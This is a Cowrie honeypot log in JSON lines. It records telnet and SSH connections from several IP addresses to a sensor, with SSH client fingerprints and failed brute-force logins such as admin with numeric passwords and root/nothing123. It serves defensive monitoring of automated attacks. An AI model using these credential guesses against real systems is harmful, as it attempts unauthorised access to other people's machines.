{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49494,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0575738fe4c","protocol":"telnet","message":"New connection: 147.124.211.111:49494 (159.203.135.109:23) [session: c0575738fe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.972067Z"}
{"eventid":"cowrie.session.closed","duration":30.557665586471558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.030572Z","src_ip":"147.124.211.111","session":"685ffe1236bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf309e222e2","protocol":"telnet","message":"New connection: 147.124.211.111:46282 (159.203.135.109:23) [session: fdf309e222e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.068786Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"54239e7821a3","protocol":"telnet","message":"New connection: 147.124.211.111:46286 (159.203.135.109:23) [session: 54239e7821a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.189983Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12940,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e44ba98fca","protocol":"telnet","message":"New connection: 182.253.54.171:12940 (10.17.0.5:23) [session: 18e44ba98fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.378436Z"}
{"eventid":"cowrie.session.closed","duration":30.50179672241211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.464635Z","src_ip":"147.124.211.111","session":"f245eda27cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82fe26b46c1","protocol":"telnet","message":"New connection: 147.124.211.111:49512 (159.203.135.109:23) [session: d82fe26b46c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.497317Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26865,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35f43888407","protocol":"ssh","message":"New connection: 2.57.121.112:26865 (10.17.0.5:22) [session: a35f43888407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.639921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.644915Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.745987Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46292,"dst_ip":"159.203.135.109","dst_port":23,"session":"f429be4f02d7","protocol":"telnet","message":"New connection: 147.124.211.111:46292 (159.203.135.109:23) [session: f429be4f02d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:00.848299Z"}
{"eventid":"cowrie.session.closed","duration":30.549283266067505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.060075Z","src_ip":"147.124.211.111","session":"58d178ee9dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760093927383423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.100476Z","src_ip":"147.124.211.111","session":"fcefed059a9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049892902374268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.147570Z","src_ip":"147.124.211.111","session":"974ce188f6c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1806","message":"login attempt [admin/1806] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.225344Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64234685897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.497507Z","src_ip":"147.124.211.111","session":"2db3b729efb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.448922872543335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.742714Z","src_ip":"147.124.211.111","session":"e317f34cbad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46312,"dst_ip":"159.203.135.109","dst_port":23,"session":"03296e8434b3","protocol":"telnet","message":"New connection: 147.124.211.111:46312 (159.203.135.109:23) [session: 03296e8434b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.892082Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46322,"dst_ip":"159.203.135.109","dst_port":23,"session":"01fe2f9cd751","protocol":"telnet","message":"New connection: 147.124.211.111:46322 (159.203.135.109:23) [session: 01fe2f9cd751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:01.925049Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46308,"dst_ip":"159.203.135.109","dst_port":23,"session":"585366b06ac9","protocol":"telnet","message":"New connection: 147.124.211.111:46308 (159.203.135.109:23) [session: 585366b06ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.227300Z"}
{"eventid":"cowrie.session.closed","duration":30.75190544128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.257637Z","src_ip":"147.124.211.111","session":"e7c2da4d21bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180578","message":"login attempt [admin/180578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.337146Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71868062019348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.360270Z","src_ip":"147.124.211.111","session":"2bb0b20da225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098369598388672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.883638Z","src_ip":"147.124.211.111","session":"7f55c45f25c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa0aa163131","protocol":"telnet","message":"New connection: 147.124.211.111:46270 (159.203.135.109:23) [session: 6aa0aa163131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:02.992918Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18051970","message":"login attempt [admin/18051970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:03.444456Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b7f647cdc9e","protocol":"telnet","message":"New connection: 147.124.211.111:46338 (159.203.135.109:23) [session: 6b7f647cdc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:03.747524Z"}
{"eventid":"cowrie.session.closed","duration":30.879143714904785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:04.031833Z","src_ip":"147.124.211.111","session":"e1506b97a18a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.072691440582275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:04.038321Z","src_ip":"147.124.211.111","session":"11916c8f6eef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180491","message":"login attempt [admin/180491] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:04.550047Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46342,"dst_ip":"159.203.135.109","dst_port":23,"session":"44002db8913d","protocol":"telnet","message":"New connection: 147.124.211.111:46342 (159.203.135.109:23) [session: 44002db8913d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:05.476323Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180489","message":"login attempt [admin/180489] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:05.658917Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.879129648208618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:05.728119Z","src_ip":"147.124.211.111","session":"ad9337e78f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46346,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa6b960295d","protocol":"telnet","message":"New connection: 147.124.211.111:46346 (159.203.135.109:23) [session: 6aa6b960295d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.070960Z"}
{"eventid":"cowrie.session.closed","duration":31.012190103530884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.102014Z","src_ip":"147.124.211.111","session":"f5ec898f3f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd6a1edb2bb5","protocol":"telnet","message":"New connection: 147.124.211.111:46356 (159.203.135.109:23) [session: fd6a1edb2bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.303178Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46372,"dst_ip":"159.203.135.109","dst_port":23,"session":"31dcf55bcddd","protocol":"telnet","message":"New connection: 147.124.211.111:46372 (159.203.135.109:23) [session: 31dcf55bcddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.386078Z"}
{"eventid":"cowrie.session.closed","duration":31.78422474861145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.762624Z","src_ip":"147.124.211.111","session":"9ee94aad04d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.771167Z","src_ip":"2.57.121.112","session":"a35f43888407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.82826280593872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:06.903888Z","src_ip":"147.124.211.111","session":"5f1565a84196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"2208df2d7d06","protocol":"telnet","message":"New connection: 147.124.211.111:46404 (159.203.135.109:23) [session: 2208df2d7d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:07.480047Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46380,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fa15045666","protocol":"telnet","message":"New connection: 147.124.211.111:46380 (159.203.135.109:23) [session: 61fa15045666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:07.538126Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67095b77120","protocol":"telnet","message":"New connection: 137.184.155.248:35348 (10.17.0.5:23) [session: e67095b77120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:07.615717Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9decd66a6e2","protocol":"telnet","message":"New connection: 147.124.211.111:46394 (159.203.135.109:23) [session: f9decd66a6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:07.652714Z"}
{"eventid":"cowrie.session.closed","duration":30.783634424209595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:08.270142Z","src_ip":"147.124.211.111","session":"c663eaa86087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869964361190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:09.053712Z","src_ip":"147.124.211.111","session":"436742af3fd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46424,"dst_ip":"159.203.135.109","dst_port":23,"session":"d14b6829cd46","protocol":"telnet","message":"New connection: 147.124.211.111:46424 (159.203.135.109:23) [session: d14b6829cd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:09.316653Z"}
{"eventid":"cowrie.session.closed","duration":30.566452741622925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:09.502521Z","src_ip":"147.124.211.111","session":"33ef5e00fc83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815387964248657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.064445Z","src_ip":"147.124.211.111","session":"37d37f4dd36f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497318029403687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.192422Z","src_ip":"147.124.211.111","session":"e6246e3b999f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"8158b5039135","protocol":"telnet","message":"New connection: 147.124.211.111:54590 (159.203.135.109:23) [session: 8158b5039135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.242036Z"}
{"eventid":"cowrie.session.closed","duration":30.880144834518433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.321966Z","src_ip":"147.124.211.111","session":"2a679a6d7410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404743909835815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.357784Z","src_ip":"147.124.211.111","session":"bc1a31e0c7f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403329849243164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.507363Z","src_ip":"147.124.211.111","session":"3ed299379179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.867890119552612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:10.967944Z","src_ip":"147.124.211.111","session":"8cad311cda93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2886700630188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:11.036593Z","src_ip":"147.124.211.111","session":"446643d15885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360464334487915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:11.240206Z","src_ip":"147.124.211.111","session":"82761f322e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926533222198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:11.465396Z","src_ip":"147.124.211.111","session":"2061981c29f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":41344,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1bc35d6e11a","protocol":"ssh","message":"New connection: 186.4.240.226:41344 (10.17.0.5:22) [session: b1bc35d6e11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.408343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.413975Z","src_ip":"186.4.240.226","session":"b1bc35d6e11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.501226Z","src_ip":"186.4.240.226","session":"b1bc35d6e11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54612,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfea19837f5","protocol":"telnet","message":"New connection: 147.124.211.111:54612 (159.203.135.109:23) [session: 9bfea19837f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.689134Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nothing123","message":"login attempt [root/nothing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.882827Z","src_ip":"186.4.240.226","session":"b1bc35d6e11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54614,"dst_ip":"159.203.135.109","dst_port":23,"session":"791b4342015d","protocol":"telnet","message":"New connection: 147.124.211.111:54614 (159.203.135.109:23) [session: 791b4342015d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.896775Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4aa8613162d","protocol":"telnet","message":"New connection: 147.124.211.111:54620 (159.203.135.109:23) [session: a4aa8613162d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:12.931300Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7465a434d9fe","protocol":"telnet","message":"New connection: 147.124.211.111:54634 (159.203.135.109:23) [session: 7465a434d9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:13.103515Z"}
{"eventid":"cowrie.session.closed","duration":30.76498532295227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:13.149314Z","src_ip":"147.124.211.111","session":"ab7b35ee48e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247937202453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:13.431842Z","src_ip":"147.124.211.111","session":"48ebeea73c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"be97fd94de1e","protocol":"telnet","message":"New connection: 147.124.211.111:54646 (159.203.135.109:23) [session: be97fd94de1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:13.955179Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:13.971779Z","src_ip":"186.4.240.226","session":"b1bc35d6e11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"906c6bfe4bb7","protocol":"telnet","message":"New connection: 147.124.211.111:54604 (159.203.135.109:23) [session: 906c6bfe4bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:14.196368Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d35ff35aa01","protocol":"telnet","message":"New connection: 147.124.211.111:54656 (159.203.135.109:23) [session: 3d35ff35aa01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:14.574893Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54686,"dst_ip":"159.203.135.109","dst_port":23,"session":"820fa6bd0bf8","protocol":"telnet","message":"New connection: 147.124.211.111:54686 (159.203.135.109:23) [session: 820fa6bd0bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.058036Z"}
